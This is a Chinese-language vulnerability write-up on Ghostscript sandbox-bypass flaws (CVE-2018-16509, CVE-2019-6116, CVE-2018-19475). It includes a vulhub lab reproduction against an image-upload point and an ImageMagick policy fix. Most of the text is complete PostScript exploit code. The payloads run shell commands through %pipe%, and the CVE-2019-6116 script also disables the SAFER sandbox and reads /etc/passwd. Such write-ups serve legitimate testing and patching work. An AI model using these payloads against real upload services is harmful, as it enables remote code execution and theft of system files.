CVE-2018-16509 GhostScript 沙箱绕过（命令执行）漏洞

CVE-2018-16509 GhostScript 沙箱绕过（命令执行）漏洞

GhostScript：
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式（PDF）的页面描述语言等而编译成的免费软件。
Ghostscript 可以查看及打印 PS、EPS、PDF 文件，支持 PS 的绘图程序一般都很大

以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎，GhostScript 被许多图片处理库所使用。

在文件上传过程中，有可能会用GhostScript来处理图片。所以在上传图片点可以试一下它是否存在这个漏洞

影响范围：

Ghostscript 9.24之前版本

漏洞成因：

在处理/invalidaccess异常时，程序没有正确的检测‘restoration of privilege（权限恢复）’。攻击者可通过提交特制的PostScript利用该漏洞执行代码。

POC

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/success && cat /tmp/success) currentdevice putdeviceprops

漏洞复现

1. 进入vulhub漏洞靶场（GhostScript/CVE-2018-16509），开启环境(略)

2. 访问环境http://192.168.159.136/8080将可以看到一个上传点。

   

3. 上传poc.png，将执行命令id > /tmp/success && cat /tmp/success

   （将id这个命令写入到success这个文件中，并且查看这个文件）

   

4. 点击上传按钮，发现命令已被执行并且显示出来

   

5. 进入容器的文件夹中发现success文件已被创建成功

   

修复方案

漏洞信息可以参考imagemaick的ghost script RCE漏洞

目前最全的修复方案参考https://www.kb.cert.org/vuls/id/332928

编辑ImageMagick的policy文件，默认路径为/etc/ImageMagick/policy.xml

在标签中增加如下内容

  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="PS2" />
  <policy domain="coder" rights="none" pattern="PS3" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />

参考文章

https://blog.csdn.net/hrayha/article/details/82017493

其他两个版本的poc也发一下，利用参数不同。但操作过程是一样的

CVE-2019-6116

%!PS
% extract .actual_pdfpaintproc operator from pdfdict
/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def
 
/exploit {
    (Stage 11: Exploitation...)=
 
    /forceput exch def
 
    systemdict /SAFER false forceput
    userparams /LockFilePermissions false forceput
    systemdict /userparams get /PermitFileControl [(*)] forceput
    systemdict /userparams get /PermitFileWriting [(*)] forceput
    systemdict /userparams get /PermitFileReading [(*)] forceput
 
    % update
    save restore
 
    % All done.
    stop
} def
 
errordict /typecheck {
    /typecount typecount 1 add def
    (Stage 10: /typecheck #)=only typecount ==
 
    % The first error will be the .knownget, which we handle and setup the
    % stack. The second error will be the ifelse (missing boolean), and then we
    % dump the operands.
    typecount 1 eq { null } if
    typecount 2 eq { pop 7 get exploit } if
    typecount 3 eq { (unexpected)= quit }  if
} put
 
% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some
% executable errays onto the operand stack that contain .forceput, but are not
% marked as executeonly or pseudo-operators.
%
% The routine was attempting to pass them to ifelse, but we can cause that to
% fail because when the routine was declared, it used `bind` but many of the
% names it uses are not operators and so are just looked up in the dictstack.
%
% This means we can push a dict onto the dictstack and control how the routine
% works.
<< 
    /typecount      0
    /PDFfile        { (Stage 0: PDFfile)= currentfile }
    /q              { (Stage 1: q)= } % no-op
    /oget           { (Stage 3: oget)= pop pop 0 } % clear stack
    /pdfemptycount  { (Stage 4: pdfemptycount)= } % no-op
    /gput           { (Stage 5: gput)= }  % no-op
    /resolvestream  { (Stage 6: resolvestream)= } % no-op
    /pdfopdict      { (Stage 7: pdfopdict)= } % no-op
    /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index
    /pdfdict        { (Stage 9: pdfdict)=
        % cause a /typecheck error we handle above
        true
    }
>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop
 
(Should now have complete control over ghostscript, attempting to read /etc/passwd...)=
 
% Demonstrate reading a file we shouldnt have access to.
(/etc/passwd) (r) file dup 64 string readline pop == closefile
 
(Attempting to execute a shell command...)= flush
 
% run command
(%pipe%id > /tmp/success) (w) file closefile
 
(All done.)=
 
quit

CVE-2018-19475

%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file